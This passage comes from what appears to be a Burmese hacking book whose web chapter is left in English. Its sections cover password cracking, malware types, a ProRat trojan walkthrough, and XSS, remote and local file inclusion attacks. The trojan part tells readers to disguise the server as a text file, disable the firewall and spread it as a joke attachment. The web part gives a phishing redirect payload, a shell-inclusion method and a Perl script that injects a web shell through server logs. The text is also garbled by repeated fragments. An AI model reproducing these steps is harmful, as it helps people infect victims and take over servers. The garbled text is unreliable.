နဲ႕၀င္ပါ။ ဒါလည္း မရရင္ Ophcrack Text mode နဲ႕၀င္ပါ။ 

 

၆. Ophcrack loading ၿပီးသြားရင္ windows password hash ေတြကို သူ႕ဘာသာ ရွာယူၿပီး စတင္ 

crack ေပးပါလိမ့္မယ္။ 

 
 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



Windows Hacking ရန္မွ ကာကြယ္နည္းမ်ား 

 NetBIOS attack ကေန ကာကြယ္ဖို႕… 

၁. File and printer sharing ကို disable လုပ္ထားပါ။ Windows Vista မွာေတာ့ default Aေနနဲ႕ 

disable လုပ္ထားၿပီးသားပါ။ ဒါေပမယ့္ XP မွာေတာ့ ကိုယ္က လုပ္ေပးရပါမယ္။ 

- Start -> Control Panel -> Network Connections ကိုသြားပါ 

- ကို္ယ့္ရဲ႕ active connection ကို double-click ႏွိပ္လိုက္ပါ။ 

- Properties ကို ကလစ္ႏွိပ္ပါ။ 

- File and Printer Sharing ကို ေရြးေပးထားရင္ uncheck လုပ္လိုက္ပါ။ OK 

ပုံ - 83၊ 84 

 
 



 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
 
 
 
 
 

Chapter Eight 
Malware 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 Malware ေတြကေတာ့ ဒီေန႕မွာ တကယ္ႀကီးမားတဲ့ ျပႆနာAုိးေတြပါ။ လူေပါင္းမ်ားစြာဟာ 

Malware ေတြရန္ကို ႀကံဳေတြ႕ေနရပါတယ္။ Aေတြ႕ရAမ်ားဆုံး malware Aမ်ိဳးAစားေတြကေတာ့ 

Virus, Worm နဲ႕ Trojan တို႕ပဲ ျဖစ္ပါတယ္။ ဒီAခန္းမွာ malware ေတြAေၾကာင္းကို ေဆြးေႏြးမွာျဖစ္ၿပီး 

Windows Trojan တစ္ခုကိုလည္း Example Aေနနဲ႕ Aသုံးျပဳျပပါမယ္။ Windows Trojan ကိုသုးံျပဖို႕ 

ဘာလို႕ေရြးလဲဆိုေတာ့ Linux နဲ႕ Mac computer ေတြAတြက္ malware သိပ္မရွိပါဘူး။ 

 

Aဓိပၸါယ္ ဖြင့္ဆိုခ်က္ 

၁. Viruses – Virus ေတြဟာ လူေတြရဲ႕ AကူAညီမပါဘဲ မျပန္႕ႏွံ႕ႏိုင္ပါဘူး။ သူတို႕ေနဖို႕ host 

တစ္ခုလိုတဲ့Aတြက္ သူတို႕ဟာ ကပ္ပါးေကာင္ေတြနဲ႕ တူပါတယ္။ host ေတြဟာ ပုံမွန္ျမင္ေနၾက 

program ေတြ file ေတြလိုပါပဲ။ ဒီ program ကို run လိုက္တာနဲ႕ virus ဟာ စတင္Aလုပ္ 

လုပ္ေဆာင္ၿပီး တစ္ျခားဖိုင္ေတြကိုပါ ကူးစက္ေစပါတယ္။ Virus ေတြဟာ ဖ်က္Aားေကာင္းၾကပါတယ္။ 

သင္တို႕ရဲ႕ hardware ေတြ software ေတြနဲ႕ file ေတြကို ပ်က္ဆီးေAာင္လုပ္ႏိုင္ၾကပါတယ္။ File 

ေတြကို share လုပ္ၾကတာကေန တဆင့္၊ email attachment ေတြကေနတဆင့္ virus ေတြ 

ပ်ံ႕ႏွံ႕ၾကပါတယ္။ 

 

၂. Worms – Worm ကေတာ့ network ေပၚက computer ေတြဆီကို သူ႕ဘာသာသူ 

ေကာ္ပီပြားသြားႏုိင္တဲ့ malicious program ပါ။ Virus နဲ႕မတူတဲ့Aခ်က္က worm ဟာ ပ်ံ႕ႏွံ႕ဖို႕၊ 

ကူးစက္ေစဖို႕ လူရဲ႕ AကူAညီမလိုပါဘူး။ System တစ္ခုကို သူကိုက္လိုက္ၿပီဆိုတာနဲ႕ 

သူ႕ရဲ႕ေကာ္ပီေတြကို တစ္ျခား system ေတြဆီပါ ပ်ံ႕ႏွံ႕ေAာင္ လုပ္ေဆာင္ပါတယ္။ 

 

၃. Trojan Horse – Trojan Horse ဆိုတာ System တစ္ခုရဲ႕ desktop ကိုေျပာင္းတာ၊ User interface 

ကို ကြိဳင္တက္ေAာင္ လုပ္တာ၊ mouse ကို ထိန္းခ်ဳပ္တာ စတဲ့ ေပါက္တတ္ကရေတြ လုပ္ႏိုင္တဲ့ 

malicious program ပါ။ သင့္ရဲ႕ data ေတြကို ရယူဖို႕၊ ဖိုင္ေတြကိ ု ဖ်က္ပစ္ဖို႕၊ password ေတြခုိးဖို႕၊ 

keystroke ေတြကို ဖမ္းယူဖို႕ စတာေတြကိုလည္း လုပ္ေဆာင္ႏုိင္ပါေသးတယ္။ 

 

၄. Logic Bombs – Logic Bomb ဆုိတာ Aခ်ိန္မက်ေသးသေရြ႕၊ ဒါမွမဟုတ္ user က 

သတ္မွတ္ထားတဲ့ action ကို မလုပ္ေသးသေရြ႕ ၿငိမ္ၿငိမ္ေလး ကုပ္ေနတဲ့ program တစ္ခုAတြင္းက 

code တစ္ခ်ိဳ႕ပါပဲ။ Aခ်ိန္က်ၿပီဆိုတာနဲ႕ မူရင္း program နဲ႕မဆုိင္တဲ့ Aလုပ္ေတြကို စၿပီး 

လုပ္ေဆာင္မယ့္ code ေတြပါ။ 

 



၅. Bacteria – Bacteria ကေတာ့ သူတို႕ကိုယ္သူတို႕ ေကာ္ပီေတြ Aမ်ားႀကီးပြားတဲ့ ေကာင္ေတြပါ။ 

system resource ေတြျဖစ္တဲ့ processor power, memory နဲ႕ disk space ေတြAားလုံးကို 

ကုန္သြားေAာင္၊ ျပည့္သြားေAာင္ လုပ္မယ့္ေကာင္ေတြပါ။ 

 

၆. Blended Threats – သူကေတာ့ AေပၚကဟာေတြAားလုံးကို ေပါင္းစပ္ၿပီး system vulnerabilities 

ေတြနဲ႕AတူAသုံးျပဳၿပီး ျဖန္႕ဖို႕၊ machine ေတြကို ကိုက္ဖို႕ လုပ္မယ့္ေကာင္ပါ။ 

 
 
 
ProRat 

 Malicious program ေတြကိုျမင္သာေAာင္ ျပဖို႕Aတြက္ Windows Trojan တစ္ခုျဖစ္တဲ့ 

ProRat Aေၾကာင္းနည္းနည္းေျပာျပပါမယ္။ 

၁. ဒီကေန ေဒါင္းလိုက္ပါ။ http://www.prorat.net/downloads.php ေဒါင္းၿပီးရင္ rar ျဖည္ဖို႕ 

password က “pro” ပါ။ 

၂. Program ကုိဖြင့္လိုက္ပါ။ ေAာက္ပါAတိုင္း ေတြ႕ရပါလိမ့္မယ္။ 

ပုံ - 85 

 
 
၃. Trojan file ကို create လုပ္ရပါမယ္။ Create ကို ကလစ္ႏွိပ္ၿပီး Create ProRat Server 

ကိုေရြးလိုက္ပါ။ 



၄. Aဲဒီ server က Victim ဆီေရာက္သြားAၿပီးမွာ ကိုယ့္စက္ကို ခ်ိတ္ဆက္လို႕ရေAာင္ ကိုယ့္ရဲ႕ IP 

address ရိုက္ထည့္ပါ။ ကိုယ့္ IP ကိုမသိဘူးဆိုရင္ ေဘးနားက ျမွားပုံေလးကို ႏိွပ္လိုက္ပါ။ သူ႕ဘာသာ 

ျဖည့္ေပးပါလိမ့္မယ္။ 

ပုံ - 86 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



၅. General Setting ကိုႏွိပ္လိုက္ပါ။ Aခုဒီမွာ server ကေနကိုယ့္ဆီ ဆက္သြယ္မယ့္ port 

ကိုေရြးေပးပါ။ ေနာက္ victim ရဲ႕စက္ထဲက server ကိုခ်ိတ္ဆက္တဲ့Aခါ password 

ေပးထားခ်င္တယ္ဆိုရင္ password ရိုက္ထည့္လိုက္ပါ။ ၿပီးေတာ့ Victim နာမည္ထည့္ပါ။ Aဲဒီ setting 

မွာ ေတြ႕တဲ့Aတိုင္းပါပဲ ProRat မွာ Windows Firewall ကို disable လုပ္ႏိုင္တဲ့ဟာ ပါပါတယ္။ ေနာက္ 

Task Manager မွာ မေပၚေAာင္လည္း လုပ္လို႕ရပါတယ္။ 

ပုံ - 87 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



၆. ၿပီးရင္ Bind with File ကိုႏွိပ္ပါ။ Aဲဒီမွာ ProRat server file ကို တစ္ျခားတစ္ဖိုင္နဲ႕ တြဲေပးရပါမယ္။ 

ဘာလို႕လဲဆိုေတာ့ Trojan ေတြဟာ လူက ႏွိပ္ၿပီး ဖြင့္မွ Aလုပ္ လုပ္ေဆာင္ႏိုင္ၾကမွာပါ။ ဒါေၾကာင့္ ဒါကို 

ေတြ႕ေနက် Text File တစ္ခုလို၊ Game file တစ္ခုလို လုပ္ေပးထားမွ ကလစ္ႏွိပ္ၿပီး ဖြင့္ၾကည့္ၾကမွာပါ။ 

bind option ကို check ေပးၿပီး bind လုပ္ေပးမယ့္ file ကိုေရြးပါ။ ဒီ example မွာ ရိုးရိုး text document 

တစ္ခုနဲ႕ bind လုပ္ေပးလိုက္ပါတယ္။ 

ပုံ - 88၊ 89 

 

 
 
 
 



၇. ၿပီးရင္ Server Extensions ကိုႏွိပ္ပါ။ ဒီမွာ ဘယ္လို server မ်ိဳးကို generate လုပ္မလဲဆိုတာ 

ေရြးရပါမယ္။ ကၽြန္ေတာ္ကေတာ့ ေရြးထားေပးၿပီးသား exe ကိုပဲ ေရြးလိုက္ပါတယ္။ icon support 

ပါလို႕ပါ။ ဒါေပမယ့္ exe ဆိုတာ နည္းနည္း သံသယ၀င္ႏိုင္စရာ ပိုမ်ားပါတယ္။ ဒါေၾကာင့္ ၿပီးရင္ 

Aဲဒီဟာကို တစ္ခုခုေျပာင္းလိုက္ပါ။ 

ပုံ - 90 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



၈. Server Icon ကိုႏွိပ္ပါ။ ဒီေနရာမွာ ကိုယ့္ရဲ႕ server file Aတြက္ icon ကိုေရြးေပးပါ။ icon ဟာ 

server file ဘာဆိုတာကို နည္းနည္းဖုန္းA ုပ္ေပးႏိုင္ပါတယ္။ ဒီ Uပမာမွာ ရိုးရိုး text document icon 

ကိုေရြးလိုက္ပါတယ္။ ဘာလို႕လဲဆိုေတာ့ text file နဲ႕ bind လုပ္ထားလို႕ေလ။ 
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၉. A ားလုံးၿပီးရင္ Create Server ကိုႏွိပ္လိုက္ပါ။ ဒီUပမာမွာ ကၽြန္ေတာ္လုပ္ခဲ့တဲ့ server file ကေတာ့ 

ေA ာက္က ပုံA တိုင္းပါပဲ။ 
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၁၀. Aဲဒီဖိုင္ကို တစ္ျခားနာမည္တစ္ခုခုေျပာင္းေပးလိုက္ပါ။ Uပမာ - “Funny Joke”။ ၿပီးရင္ attachment 

Aေနနဲ႕ ျဖန္႕ပါ။ ဂိမ္းAသစ္ထြက္လို႕ ပို႕ေပးလုိက္တယ္၊ တင္ေပးလိုက္တယ္ ဘာညာဆိုၿပီးေပါ့။ 

 

၁၁. Aဲဒီ server ကို တစ္ေယာက္ေယာက္က စက္မွာ သြင္းမိသြားၿပီဆိုရင္ ဟကၠာကေန 

ဘာေတြလုပ္ႏိုင္လဲ ၾကည့္ၾကရေAာင္… 

 

၁၂. ဘာေတြလုပ္ႏုိင္လဲဆိုတာျပဖို႕ ကၽြန္ေတာ့္ကြန္ပ်ဴတာထဲမွာပဲ server ကို run လိုက္ပါတယ္။ ဒီဖိုင္ကို 

run လိုက္တာနဲ႕ Trojan ကို ေနာက္ကြယ္မွာ သြင္းၿပီးသား ျဖစ္သြားပါတယ္။ ဒီလိုAသြင္းခံရတာနဲ႕ 



ဒီစက္ကို သြင္းလိုက္ၿပီျဖစ္ေၾကာင္း ဟကၠာ့ဆီ message ေရာက္သြားမွာ ျဖစ္ပါတယ္။ ဒီေတာ့ ဟကၠာဟာ 

Trojan Aသြင္းခံရတဲ့ စက္ရဲ႕ IP နဲ႕ Port နံပါတ္ကို ရိုက္ၿပီး Aဲဒီစက္ကို ခ်ိတ္ဆက္ပါတယ္။ server ကို 

create လုပ္ခဲ့တုန္းက password ေပးခဲ့ရင္ connect လုပ္တဲ့Aခ်ိန္မွာ password ေတာင္းပါလိမ့္မယ္။ 

password ရိုက္ထည့္ေပးၿပီး connect လုပ္ၿပီးသြားၿပီဆိုရင္ Aဲဒီစက္ကို ဟကၠာဟာ လုံး၀ ထိန္းခ်ဳပ္လို႕ 

ရသြားပါၿပီ။ 
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၁၃. ေAာက္ကပုံမွာ ျမင္တဲ့Aတိုင္းပါပဲ ဟကၠာAတြက္ ေရြးၿပီးလုပ္စရာေတြ တစ္ပုံႀကီးပါပဲ။ 

ထိန္းခ်ဳပ္ခံရတဲ့ computer ထကဲဖိုင္ေတြကို သူ access လုပ္ႏိုင္ပါတယ္။ Aဲဒီ ကြန္ပ်ဴတာကို သူ 

ပိတ္ပစ္ႏိုင္ပါတယ္။ Keylogger ကိုသံုးၿပီး Password ေတြ ရယူသြားႏုိင္ပါတယ္။ Aဲဒီ computer ဆီကို 

message ပို႕ႏိုင္ပါတယ္။ Aဲဒီ computer ရဲ႕ hard drive တစ္ခုလံုးကို format ရိုက္ပစ္ႏုိင္ပါတယ္။ 

screen shot ရိုက္ယူႏိုင္ပါတယ္။ ေAာက္မွာ example နည္းနည္းျပပါမယ္။ 
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၁၄. ေAာက္ကပုံကေတာ့ ဟကၠာကေန Aထိန္းခ်ဳပ္ခံ computer ဆီ message ပို႕လိုက္တဲ့ ပုံပါ။ 
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၁၅. ေAာက္ကပုံကေတာ့ Hide Start Button ဆိုတာကို ဟကၠာက ႏွိပ္လိုက္တဲ့Aတြက္ Aထိန္းခ်ဳပ္ခံ 

ကြန္ပ်ဴတာရဲ႕ task bar မွာ start button ေပ်ာက္သြားပုံပါ။ 
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၁၆. ေAာက္ကပုံကေတာ့ Aထိန္းခ်ဳပ္ခံ computer ကို screen shot ရို္က္လုိက္တဲ့ပုံပါ။ 
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Aေပၚက example မွာ ျပခဲ့တဲ့Aတိုင္း ဟကၠာဟာ Aထိန္းခ်ဳပ္ခံ ကြန္ပ်ဴတာကို 

ေပါက္တတ္ကရေတြ၊ ပ်က္ဆီးေစႏုိင္တာေတြ Aမ်ားႀကီး ေလွ်ာက္လုပ္ႏိုင္ပါတယ္။ ProRat ဆိုတာ 

Aရမ္းကုိ လူသိမ်ားတဲ့ Trojan ပါ။  ဒီေတာ့ Anti-Virus Program တစ္ခုခုသာ သြင္းထားပါ။ ဒီ ProRat 

ရဲ႕ရန္ကေန ကာကြယ္ႏိုင္ပါလိမ့္မယ္။ ဒါေပမယ့္… Anti-virus program ေတြကို A ရူးလုပ္ႏိုင္တဲ့၊ 

ေက်ာ္လႊားႏိုင္တဲ့ Virus ေတြ၊ Trojan ေတြကို ဖန္တီးႏုိင္တဲ့ ဟကၠာဂုရုႀကီးေတြ A မ်ားႀကီး 

ရွိေနေသးတယ္ဆိုတာကိုလည္း မေမ့ပါနဲ႕။ 

 
 
 



Malware မ်ား၏ရန္မွ ကာကြယ္ျခင္း 

 ဒီ chapter မွာေဆြးေႏြးခဲ့တဲ့ malware ေတြရန္ကေန ကာကြယ္ႏိုင္ဖို႕… 

၁. ကိုယ့္ရဲ႕ ကြန္ပ်ဴတာထမဲွာ ေနာက္ဆုံးေပၚ ေကာင္းမြန္တဲ့ anti-virus software တစ္ခုခု သြင္းထားပါ။ 

Aဲဒီ anti-virus software မွာ automatic update option ပါရင္ Aဲဒါကို enable လုပ္ထားပါ။ 

၂. ကုိယ့္ရဲ႕ ကြန္ပ်ဴတာထမဲွာ Firewall သြင္းထားပါ။ မူမမွန္တဲ့၊ ခြင့္ျပဳမထားတဲ့ A၀င္Aထြက္ 

connection Aားလုံးရဲ႕ရန္ကေန firewall က ကာကြယ္ေပးပါလိမ့္မယ္။ 
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Chapter Nine – Web Hacking Aား ျပန္ဆိုရန္ ကၽြန္ေတာ္၏ ေသးႏုပ္ေသာ knowledge ျဖင့္ 
မတတ္ႏိုင္သျဖင့္ မူရင္းAတိုင္းသာ ထည့္ေပးလိုက္ပါသည္။   

 
 
 
With the Web 2.0 era upon us, most websites are dynamic and allow the users to 

interact with the content. Many of the web applications that run these dynamic websites 
have security flaws. In this chapter, we will discuss some of the most popular forms of 
attacks against web applications. 
    
    
Cross Site ScriptingCross Site ScriptingCross Site ScriptingCross Site Scripting    
Cross site scripting (XSS) occurs when a user inputs malicious data into a website, which 
causes the application to do something it wasn’t intended to do. XSS attacks are very 
popular and some of the biggest websites have been affected by them including the FBI, 
CNN, Ebay, Apple, Microsft, and AOL. Some website features commonly vulnerable to XSS 
attacks are: 
• Search Engines 
• Login Forms 
• Comment Fields 
 
There are three types of XSS attacks: 
1. Local – Local XSS attacks are by far the rarest and the hardest to pull off. This attack 
requires an exploit for a browser vulnerability. With this type of attack, the hacker can 
install worms, spambots, and backdoors onto your computer. 
2. Non-Persistent – Non-persistent attacks are the most common types of attack and don’t 
harm the actual website. Non-persistent attacks occur when (----    a scripting language that is 
used for client-side web development.) or HTML is inserted into a variable which causes 
the output that the user sees to be changed. Non-persistent attacks are only activated 
when the user visits the URL crafted by the attacker. 
3. Persistent – Persistent attacks are usually used against web applications like guest 
books, forums, and shout boxes. Some of the things a hacker can do with a persistent 
attacks are: 
• Steal website cookies cookies cookies cookies (Cookies are used by web browsers to store your user information 
so that you can stay logged into a website even after you leave. By stealing your cookie, 
the attacker can sometimes login without knowing your password.) 



• Deface the website 
• Spread Worms 
Now that you know what cross site scripting is, how can you tell if a website if vulnerable 
to it? 
1. If there is a search field, enter a word and if that word is displayed back to you on the 
next page, there’s a chance it is vulnerable. 
2. Now we will insert some HTML. Search for <h1>hi</h1><h1>hi</h1><h1>hi</h1><h1>hi</h1>, and if the word “hi” is 
outputted as a big header, it is vulnerable. 
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3. Now we will insert JavaScript. Search for <script>alert(“hi”);</script> <script>alert(“hi”);</script> <script>alert(“hi”);</script> <script>alert(“hi”);</script> , if the word “hi” 
pops up in a popup box, then the site is vulnerable to XSS.  
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4. As you can see, these examples are non-persistent. Now if a hacker found a guestbook 
or something else like it that was vulnerable, he would be able to make it persistent and 
everyone that visits the page would get the above alert if that was part of his comment. 
 
 

Hackers knowledgeable in JavaScript and PHP will be able to craft advanced XSS 
attacks to steal your cookies and spread XSS worms, but to show you a simple example of 
something more realistic then the above examples, I will show you how a hacker could use 
XSS to help with phishing. 



1. Let’s say a hacker wants to phish passwords from www.victim-site.com. If he was 
able to find an XSS vulnerability anywhere on the website, he would be able to craft 
a link pointing to the legit website that redirects to his phishing website. 

2. In the example with the popup, when I inserted the JavaScript into the search box, 
a URL was formed that looked like the following: 
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Here you can see that the code you typed into the search box was passed to the 
“searchbox” variable. 
 
3. In the URL the hacker would then replace everything in between ?searchbox= ?searchbox= ?searchbox= ?searchbox= and 
&search &search &search &search with the following JavaScript code: 
<script>windo<script>windo<script>windo<script>window.location = “http://phishingw.location = “http://phishingw.location = “http://phishingw.location = “http://phishing----site.com”</script>site.com”</script>site.com”</script>site.com”</script>    
 
4. Now when you go to the finished link, the legitimate site will redirect to the phishing 
website. Next what the hacker would do is encode the URL to make it look more legit and 
less suspicious. You can encode the URL at http://www.encodeurl.com/. 
 
5. My finished encoded URL is: 
http%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locationhttp%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locationhttp%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locationhttp%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.location
+%3D+%5C%22http%3A%2F%2Fphishing+%3D+%5C%22http%3A%2F%2Fphishing+%3D+%5C%22http%3A%2F%2Fphishing+%3D+%5C%22http%3A%2F%2Fphishing----
site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21    
 
6. Once the victim sees that the link points to the legitimate website, he will be more likely 
to fall for the phishing attack. 
 
    
    
    
    
    
    
    
    
    
    



Remote File InclusionRemote File InclusionRemote File InclusionRemote File Inclusion    
Remote File Inclusion (RFI) occurs when a remote file, usually a shell shell shell shell (a graphical 

interface for browsing remote files and running your own code on a server), is included 
into a website which allows the hacker to execute server side commands as the current 
logged on user, and have access to files on the server. With this power the hacker can 
continue on to use local exploits to escalate his privileges and take over the whole system. 
Many servers are vulnerable to this kind of attack because of PHP’s default settings of 
register_globals register_globals register_globals register_globals and allow_url_fopen allow_url_fopen allow_url_fopen allow_url_fopen being enabled. Although as of PHP 6.0, 
register_globals has been depreciated and removed, many websites still rely on older 
versions of PHP to run their web applications. Now let’s go through the steps a hacker 
would take to exploit this type of vulnerability in a website. 
 
1. First the hacker would find a website that gets its pages via the PHP include() function 
and is vulnerable to RFI. Many hackers use Google dorks to locate servers vulnerable to 
RFI. A Google dork is the act of using Google’s provided search tools to help get a specific 
search result. 
 
2. Website that include pages have a navigation system similar to: 
http://target-site.com/index.php?page=PageName 
 
3. To see if a the page is vulnerable, the hacker would try to include a site instead of 
PageName like the following: 
http://target-site.com/index.php?page=http://google.com 
 
4. If the Google homepage shows up on the website, then the hacker knows the website is 
vulnerable and would continue to include a shell. 
 
5. A couple of the most popular shells are c99 and r57. A hacker would either upload them 
to a remote server or just use a Google dork to locate them already online and insert 
them. To find the a shell the hacker would search Google for: inurl:c99.txtinurl:c99.txtinurl:c99.txtinurl:c99.txt. This will display 
many websites with the shell already up and ready to be included. At the end of the URL 
make sure to add a ? ? ? ? so that if anything comes after c99.txt, it will be passed to the shell 
and not cause any problems. The new URL with the shell included would look like: 
http://target-site.com/index.php?page=http://site.com/c99.txt? 
 



6. Sometimes the PHP script on the server appends “.php.php.php.php” to the end of every included 
file. So if you included the shell, it would end up looking like “c99.txt.php” and not work. 
To get around this, you would add a null byte (%00) to the end of c99.txt. This tells the 
server to ignore everything after c99.txt. 
 
7. In step one, I told you that hackers use Google dorks to look for sites possibly 
vulnerable to RFIs. An example of a Google dork would be: allinurl:.php?page=allinurl:.php?page=allinurl:.php?page=allinurl:.php?page=. This looks 
for URL’s with .php?page= in them. This is only an example and you most likely won’t find 
any vulnerable sites with that search. You can try switching around the word “page” with 
other letters and similar words. Hackers usually search vulnerability databases like 
www.milw0rm.com for already discovered RFI vulnerabilities in site content management 
systems and search for websites that are running that vulnerable web application with a 
Google dork. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



8. If the hacker succeeds in getting the server to parse the shell, he will be presented with 
a screen similar to the following: 
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The shell will display information about the remote server and list all the files and 
directories on it. From here the hacker would find a directory that has read and write 
privileges and upload the shell but this time as a .php .php .php .php file so that incase the vulnerability is 
fixed, he will be able to access it later on. 
 
9. The hacker would next find a way to gain root privileges on the system. He can do this 
by uploading and running local exploits against the server. He could also search the victim 
server for configuration files. These files may contain username and passwords for the 
MYSQL databases and such. 



To protect yourself from RFI attacks, simply make sure you are using up-to-date scripts, 
and make sure you server php.ini php.ini php.ini php.ini file has register_globals register_globals register_globals register_globals and allow_url_fopen allow_url_fopen allow_url_fopen allow_url_fopen disabled. 
    
    
Local File InclusionLocal File InclusionLocal File InclusionLocal File Inclusion    

Local File Inclusion (LFI) is when you have the ability to browse through the server 
by means of directory transversal. One of the most common uses of LFI is to discover the 
/etc/passwd /etc/passwd /etc/passwd /etc/passwd file. This file contains the user information of a Linux system. Hackers find 
sites vulnerable to LFI the same way I discussed for RFI’s. Let’s say a hacker found a 
vulnerable site, www.targetwww.targetwww.targetwww.target----site.com/index.php?p=aboutsite.com/index.php?p=aboutsite.com/index.php?p=aboutsite.com/index.php?p=about, by means of directory transversal 
he would try to browse to the /etc/passwd file: 
www.targetwww.targetwww.targetwww.target----site.com/indsite.com/indsite.com/indsite.com/index.php?p= ../../../../../../../etc/passwdex.php?p= ../../../../../../../etc/passwdex.php?p= ../../../../../../../etc/passwdex.php?p= ../../../../../../../etc/passwd    
The ../ ../ ../ ../ you up one directory and the amount to use depends where in the server you are 
located compared the location of the /etc/passwd file. 
If the hacker is able to successfully get to the /etc/passwd file he would see a list similar 
to the one below. 
Root:x:0:0::/root:/bin/bash 
bin:x:1:1:bin:/bin:/bin/false 
daemon:x:2:2:daemon:/sbin:/bin/false 
adm:x:3:4:adm:/var/log:/bin/false 
lp:x:4:7:lp:/var/spool/lpd:/bin/false 
sync:x:5:0:sync:/sbin:/bin/sync 
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 
halt:x:7:0:halt:/sbin:/sbin/halt 
Each line is divided into seven parts: 
username:passwd:UserID:GroupID:full_name:directory:shellsername:passwd:UserID:GroupID:full_name:directory:shellsername:passwd:UserID:GroupID:full_name:directory:shellsername:passwd:UserID:GroupID:full_name:directory:shell    

 
If the password hash was shown, the hacker would be able to crack it and get 

access to the machine, but in our case the password isn’t shown. . . . This means that the 
password is shadowed and in the /etc/shadow file which the hacker doesn’t have access 
to. If this was the case, the hacker would probably attempt to get access to the system 
another way, through log injection. 
The log directories are located in different areas in different Linux distributions. Below is a 
list of the most common locations. 
 
 



 
../apache/logs/error.log 
../apache/logs/access.log 
../../apache/logs/error.log 
../../apache/logs/access.log 
../../../apache/logs/error.log 
../../../apache/logs/access.log 
../../../../../../../etc/httpd/logs/acces_log 
../../../../../../../etc/httpd/logs/acces.log 
../../../../../../../etc/httpd/logs/error_log 
../../../../../../../etc/httpd/logs/error.log 
../../../../../../../var/www/logs/access_log 
../../../../../../../var/www/logs/access.log 
../../../../../../../usr/local/apache/logs/access_log 
../../../../../../../usr/local/apache/logs/access.log 
../../../../../../../var/log/apache/access_log 
../../../../../../../var/log/apache2/access_log 
../../../../../../../var/log/apache/access.log 
../../../../../../../var/log/apache2/access.log 
../../../../../../../var/log/access_log 
../../../../../../../var/log/access.log 
../../../../../../../var/www/logs/error_log 
../../../../../../../var/www/logs/error.log 
../../../../../../../usr/local/apache/logs/error_log 
../../../../../../../usr/local/apache/logs/error.log 
../../../../../../../var/log/apache/error_log 
../../../../../../../var/log/apache2/error_log 
../../../../../../../var/log/apache2/error.log 
../../../../../../../var/log/error_log 
../../../../../../../var/log/error.log 
 
 
 
 
 



Below are the steps a hacker would take to take gain access to the system through log 
injection. 
1. First the hacker would find what operating system version the target server is running 
and then search where the log files are located on that OS. 
 
2. Next, through LFI the hacker would navigate to that file location. If he is displayed with 
a bunch of logs, then he may continue. 
 
3. The hacker would then inject some PHP code into the logs by typing 
<? Passthru($_GET[‘cmd’]) ?> <? Passthru($_GET[‘cmd’]) ?> <? Passthru($_GET[‘cmd’]) ?> <? Passthru($_GET[‘cmd’]) ?> after = = = = in the URL. This will cause the PHP script to be 
logged because there is no file by that name. What this script will do is give the hacker 
shell access and allow him to execute system commands. 
 
4. Now if the hacker goes back to the log file, he will see that his PHP script wasn’t parsed 
and instead converted to 
%3C?%20passthru($_GET[cmd])%20?%3E%3C?%20passthru($_GET[cmd])%20?%3E%3C?%20passthru($_GET[cmd])%20?%3E%3C?%20passthru($_GET[cmd])%20?%3E    
 
5. When you submitted the script, the browser automatically encoded the URL. Luckily 
there is a pearl script that can get around this problem. Below is the pearl script, edit the 
variables: $site, $path, $code, and $log to the appropriate information. 
#!/usr/bin/perl #!/usr/bin/perl #!/usr/bin/perl #!/usr/bin/perl ----wwww    
use IO::Socket;use IO::Socket;use IO::Socket;use IO::Socket;    
use LWP::UserAgent;use LWP::UserAgent;use LWP::UserAgent;use LWP::UserAgent;    
$site=”www.vulnerablesite.com”;$site=”www.vulnerablesite.com”;$site=”www.vulnerablesite.com”;$site=”www.vulnerablesite.com”;    
$path=”/”;$path=”/”;$path=”/”;$path=”/”;    
$code=”<? Passthru($code=”<? Passthru($code=”<? Passthru($code=”<? Passthru(\\\\$_GET[cmd]) ?>”;$_GET[cmd]) ?>”;$_GET[cmd]) ?>”;$_GET[cmd]) ?>”;    
$log = “../../../../../../../etc/httpd/logs/error_log”;$log = “../../../../../../../etc/httpd/logs/error_log”;$log = “../../../../../../../etc/httpd/logs/error_log”;$log = “../../../../../../../etc/httpd/logs/error_log”;    
print “Trying to inject the code”;print “Trying to inject the code”;print “Trying to inject the code”;print “Trying to inject the code”;    
$socket = IO::Socket::INET$socket = IO::Socket::INET$socket = IO::Socket::INET$socket = IO::Socket::INET---->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or 
die “die “die “die “\\\\nConnection Failed.nConnection Failed.nConnection Failed.nConnection Failed.\\\\nnnn\\\\n”;n”;n”;n”;    
print $socket “GET “.$path.$code.” HTTP/1.1print $socket “GET “.$path.$code.” HTTP/1.1print $socket “GET “.$path.$code.” HTTP/1.1print $socket “GET “.$path.$code.” HTTP/1.1\\\\rrrr\\\\n”;n”;n”;n”;    
print $socket “Userprint $socket “Userprint $socket “Userprint $socket “User----Agent: “.$code.”Agent: “.$code.”Agent: “.$code.”Agent: “.$code.”\\\\rrrr\\\\n”;n”;n”;n”;    
print $socket “Host: “.$site.”print $socket “Host: “.$site.”print $socket “Host: “.$site.”print $socket “Host: “.$site.”\\\\rrrr\\\\n”;n”;n”;n”;    
print $socket “Connection: closeprint $socket “Connection: closeprint $socket “Connection: closeprint $socket “Connection: close\\\\rrrr\\\\nnnn\\\\rrrr\\\\n”;n”;n”;n”;    
close($socket);close($socket);close($socket);close($socket);    
print “print “print “print “\\\\nCode $code successfully innCode $code successfully innCode $code successfully innCode $code successfully injected in $log jected in $log jected in $log jected in $log \\\\n”;n”;n”;n”;    



